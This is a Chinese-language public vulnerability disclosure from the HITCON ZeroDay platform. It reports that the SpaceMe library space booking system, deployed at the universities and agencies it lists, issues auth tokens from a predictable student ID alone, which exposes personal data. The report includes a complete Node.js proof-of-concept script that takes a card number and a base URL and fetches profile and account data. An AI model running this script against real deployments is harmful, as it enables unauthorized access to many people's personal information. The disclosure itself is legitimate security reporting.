spaceme 圖書館空間預訂系統 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00463
  •  發信 Vendor: 台灣電腦網路危機處理暨協調中心(TWCERT/CC)
  • Title: spaceme 圖書館空間預訂系統
  • Introduction: 公開的 API 僅用學號即可獲得權限,取得個資及登入系統

處理狀態

目前狀態

公開
Last Update : 2025/07/11
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2025/05/23 12:42:56 : 新提交 (由 鄉民 更新此狀態)
  • 2025/05/27 17:11:00 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 14:36:10 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 14:36:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 14:36:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/07/03 16:20:55 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/07/11 03:00:42 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00463
  • 通報者:鄉民
  • 風險:高
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://frustum.lib.nthu.edu.tw/
https://libspace.tmu.edu.tw/
https://spaceme.miaoli.gov.tw/
https://spaceme.typl.gov.tw/
https://libspace.yuntech.edu.tw/
https://spaceme.fy.edu.tw/
https://spaceme.ncu.edu.tw/
https://libspace.pccu.edu.tw/
http://space.mhchcm.edu.tw/
http://deskseat.ccl.ttct.edu.tw/
https://sms.lib.ntu.edu.tw/

敘述

SpaceMe 圖書館系統資安漏洞紀錄

一、測試背景

在研究學校圖書館空間管理系統 https://sms.lib.ntu.edu.tw/#/login 時,發現系統透過 cardNo(學號)參數進行身份認證,且該參數易於預測,導致可未經授權存取任意使用者個人資料的重大資安問題。

二、測試環境與目標系統

  • 測試系統網址:https://sms.lib.ntu.edu.tw/#/login
  • 系統提供的 REST API 路徑:
    • 認證卡號 (cardNo):/rest/auth/user/authentication/cardNo
    • 使用者個人資料:/rest/member/user/accounts/myProfile

三、測試步驟與分析

  1. 發現程式碼中認證函式

透過瀏覽器開發者工具,查看網頁原始碼(主要在 main.78595ddeda28bcd3d86d.js),發現一段關鍵函式:

t.prototype.authenticationCard = function(e) {
    var n = this;
    return this.restService.httpPost(t.AUTHENTICATION_CARD_URL + "?timestamp=" + this.now, {
        cardNo: e
    }, "application/x-www-form-urlencoded").pipe(Object(a.a)(function(t) {
        return n.tokenService.token = t
    }), Object(s.a)(function() {
        return n.getUserProfile()
    }))
}
  • 函式中只需輸入 cardNo(學號)即可取得授權 token,無需其他認證資料。
  • 發現常數定義如下:

t.AUTHENTICATION_CARD_URL = t.AUTHENTICATION_URL + "/cardNo",
t.AUTHENTICATION_URL = t.BASE_URL + "/auth/user/authentication",
t.BASE_URL = "/rest"
t.USER_PROFILE_URL = t.BASE_URL + "/member/user/accounts/myProfile"

  1. 利用程式碼模擬取得授權 Token 及個人資料

以下是使用 Node.js 實作的測試程式碼片段,透過 POST 傳送 cardNo 取得 authToken,再用 authToken 向個人資料 API 請求資料:

import fetch from 'node-fetch';
import { URLSearchParams } from 'url';

let AUTHENTICATION_CARD_URL;
let USER_PROFILE_URL;
let MEMBER_ACCOUNT_URL;
let USER_ACCOUNT_URL;

/**
 * Obtains an authentication token object using the provided card number.
 * @param {string} cardNo - The card number to authenticate with.
 * @param {number} requestTimestamp - The timestamp to be used in the request URL.
 * @returns {Promise<object>} - A promise that resolves to the full authentication token object.
 */
async function getAuthToken(cardNo, requestTimestamp) {
  const url = `${AUTHENTICATION_CARD_URL}?timestamp=${requestTimestamp}`;
  const body = new URLSearchParams({ cardNo }).toString();

  try {
    const response = await fetch(url, {
      method: "POST",
      headers: {
        "Content-Type": "application/x-www-form-urlencoded",
      },
      body: body,
    });

    if (!response.ok) {
      let errorBody = await response.text();
      try {
        errorBody = JSON.parse(errorBody);
      } catch (e) {}
      throw new Error(`HTTP error! Status: ${response.status}. Details: ${JSON.stringify(errorBody)}`);
    }

    const data = await response.json();

    if (data.success) {
      console.log("Authentication Response Data:", JSON.stringify(data, null, 2));
      return data;
    } else {
      throw new Error(`Authentication failed as per API response: ${JSON.stringify(data)}`);
    }

  } catch (error) {
    console.error("Authentication failed:", error.message);
    throw error;
  }
}

/**
 * Retrieves data from a specified URL using the provided authentication token string.
 * @param {string} url - The URL to fetch data from.
 * @param {string} authTokenString - The actual authToken string.
 * @param {number} requestTimestamp - The timestamp to be used in the request URL.
 * @returns {Promise<object>} - A promise that resolves to the fetched data.
 */
async function fetchDataWithAuth(url, authTokenString, requestTimestamp) {
  try {
    const fullUrl = `${url}?timestamp=${requestTimestamp}`;
    const tokenToSend = authTokenString.trim();

    const response = await fetch(fullUrl, {
      method: "GET",
      headers: {
        "authToken": tokenToSend,
        "Accept": "application/json",
        "Cache-Control": "no-cache",
        "Pragma": "no-cache",
        "User-Agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Mobile Safari/537.36",
        "sec-ch-ua": "\"Chromium\";v=\"136\", \"Google Chrome\";v=\"136\", \"Not.A/Brand\";v=\"99\"",
        "sec-ch-ua-mobile": "?1",
        "sec-ch-ua-platform": "\"Android\"",
        "Referer": "https://sms.lib.ntu.edu.tw/",
        "Sec-Fetch-Dest": "empty",
        "Sec-Fetch-Mode": "cors",
        "Sec-Fetch-Site": "same-origin",
      },
    });

    if (!response.ok) {
      let errorBody = await response.text();
      try {
        errorBody = JSON.parse(errorBody);
      } catch (e) {}
      throw new Error(`HTTP error! Status: ${response.status}. Details: ${JSON.stringify(errorBody)}`);
    }

    const data = await response.json();
    return data;
  } catch (error) {
    console.error(`Failed to retrieve data from ${url}:`, error.message);
    throw error;
  }
}

// Main script logic
const cardNo = process.argv[2];
const baseUrl = process.argv[3];

if (!cardNo || !baseUrl) {
  console.error("Usage: node hack.js <cardNo> <baseUrl>\nExample: node auth.js 123456 https://libspace.tw");
  process.exit(1);
}

// Construct URLs based on user-provided base URL
AUTHENTICATION_CARD_URL = `${baseUrl}/rest/auth/user/authentication/cardNo`;
USER_PROFILE_URL = `${baseUrl}/rest/member/user/accounts/myProfile`;
MEMBER_ACCOUNT_URL = `${baseUrl}/rest/council/user/memberAccounts/myAccount`;
USER_ACCOUNT_URL = `${baseUrl}/rest/council/user/memberAccounts/param/${cardNo}`;

(async () => {
  const sharedTimestamp = Date.now();

  try {
    const authResponse = await getAuthToken(cardNo, sharedTimestamp);
    const token = authResponse.authToken;
    console.log("Extracted Auth Token:", token);

    // Fetch User Profile
    console.log("\n--- Fetching User Profile ---");
    const userProfile = await fetchDataWithAuth(USER_PROFILE_URL, token, sharedTimestamp);
    console.log("User Profile data:", JSON.stringify(userProfile, null, 2));

    // Fetch Member Account
    console.log("\n--- Fetching Member Account ---");
    const memberAccount = await fetchDataWithAuth(MEMBER_ACCOUNT_URL, token, sharedTimestamp);
    console.log("Member Account data:", JSON.stringify(memberAccount, null, 2));

    // Fetch User Account
    console.log("\n--- Fetching User Account ---");
    const userAccount = await fetchDataWithAuth(USER_ACCOUNT_URL, token, sharedTimestamp);
    console.log("User Account data:", JSON.stringify(userAccount, null, 2));
  } catch (error) {
    console.error("An error occurred during script execution:", error.message);
    process.exit(1);
  }
})();
  1. 測試結果
  • 輸入自己的 cardNo(學號)即可成功取得 authToken。
  • 使用 authToken 呼叫 myProfile API,成功取得完整個人資訊。
  • 由於 cardNo 是可預測的(學號),理論上可透過修改 cardNo 欄位,未經授權存取任意他人個資。
  • 此情況可能造成個資大規模外洩。

四、結論

此系統存在嚴重的 IDOR(不當物件參照)漏洞:

  • 漏洞點:cardNo 可作為唯一憑證直接取得授權 token,且系統未驗證操作者身分。
  • 影響範圍:使用該系統的多所大學與公家機關,恐有大量使用者資料外洩風險。
  • 建議:強化身份驗證流程,避免只以可預測參數授權存取,並加強 API 存取權限控管。

五、附錄:相關網址

此紀錄僅使用本人資料進行測試,未有未授權存取他人資料。此漏洞通報純屬善意。

修補建議

強化身份驗證流程,避免只以可預測參數授權存取,並加強 API 存取權限控管。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;